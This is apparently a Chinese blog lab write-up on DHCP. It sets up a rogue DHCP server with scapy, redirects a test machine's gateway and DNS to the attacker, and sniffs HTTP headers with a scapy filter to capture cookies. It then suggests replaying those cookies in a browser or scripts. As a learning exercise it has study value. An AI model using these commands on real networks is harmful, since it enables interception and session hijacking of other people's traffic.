Playing and Learning DHCP in Action

动手学习计算机网络系列(二)

实验准备

  • scapy:用来伪造dhcp/dns服务器,抓包(调用tcpdump)
  • tcpdump/wireshark:来观察网络流量。
  • twisted来建立dns服务器
  • 某个测试机器和某路由无线网络

一点DHCP协议基础

DHCP是,是干啥的呢?简单来说是为了自动化为网络中的主机配置各种配置,包括ip地址,网关,域名服务器等等。

有篇不错的中文教程带你回顾整个dhcp服务过程,然而,事情不总是这样的。比如linux和安卓一般默认就没有arping检查重复ip的过程。

Rogue DHCP Server

流氓服务器,指非法在网络中提供dhcp服务的机器。由于dhcp服务没有认证过程,任何dhcp服务器都能为网络上的机器提供服务。实际上就是几个服务器竞争看谁反应快客户端就使用谁,这为中间人攻击提供了可能。

一次中间人攻击

我们试着搭建一个流氓dhcp服务器来指向错误的网关和dns(即我们自己)。

本机的ip地址是=192.168.1.101=,这是无线路由中dhcp服务器分配的。为了让实验一定成功,最好干脆把无线路由的dhcp功能关掉,自己手动配置地址=192.168.1.101=,然后搭建个dhcp服务器。

首先,确认设置ip转发功能:

gentoo ~ # echo 1 > /proc/sys/net/ipv4/ip_forward

首先,用scapy搭建一个dhcp服务器,把网关指向自己。scapy中=DHCPam=的设计就是把=nameserver=也指向网关,可参考源代码。

>>> dhcp_server= DHCP_am()
>>> dhcp_server.gw='192.168.1.101'
>>> dhcp_server()

监听观察,发现默认网关的dhcp服务器竟然给了一个=dhcpnak=:

 ~ ⮀ sudo tcpdump -i wlan0 port 67 or port 68 
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes
23:18:55.634526 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 302
23:18:55.681009 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296
23:18:55.688288 IP 0.0.0.0.bootpc > 255.255.255.255.bootps: BOOTP/DHCP, Request from 22:22:22:22:22:22 (oui Unknown), length 314
23:18:55.781062 IP 192.168.1.101.bootps > 192.168.1.128.bootpc: BOOTP/DHCP, Reply, length 296
23:18:56.124282 IP 192.168.1.1.bootps > 255.255.255.255.bootpc: BOOTP/DHCP, Reply, length 548

用twisted建立一个DNS服务器1

sudo twistd -n dns --recursive --cache

在scapy中开始中间人攻击(窃听),比如窃听http头:

pkts = sniff(filter="(tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)) and host 192.168.1.128 and (not host 192.168.1.1)",iface="wlan0", prn=lambda x: x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.128 -> 123.125.70.102
'GET /tongji/anchor?type=webapp_pv&t=1394205309005&page=carousel HTTP/1.1\r\nHost: wk.baidu.com\r\nAccept-Encod此处略去具体信息'

搞到cookie后尽情发挥吧,可以用temper data这种东西在火狐里试下。当然,cookie可以在各种地方比如requests啊selenium里啊使用。

完工。其实后来实验时无线路由dhcp服务器被选中了,然后我的rogue dhcp server就一直处于无用状态。

FIXME:可以尝试一个dhcprelease来试着解除租约,可能涉及xid或transaction ID这些东西的监听和伪造。也许会在查阅更多资料后尝试,也许。

Update:以下这个链接做了这些,不过,它怎么获得xid(transaction id)的不是很明白,要赶在dhcp client的dhcprequest发出之后dhcp server返回dhcpack之前向dhcp client注入dhcpnak,好像得在开始建立连接的时候就开始监听,获取transaction id,直接就伪装成dhcp服务器想客户端发送dhcpnak。

Footnotes:

1

最开始我用scapy来建立dns服务器: dns_spoof().关于用scapy做DNS转发服务器,参见PacketGeek上scapy的教程Scapy and DNS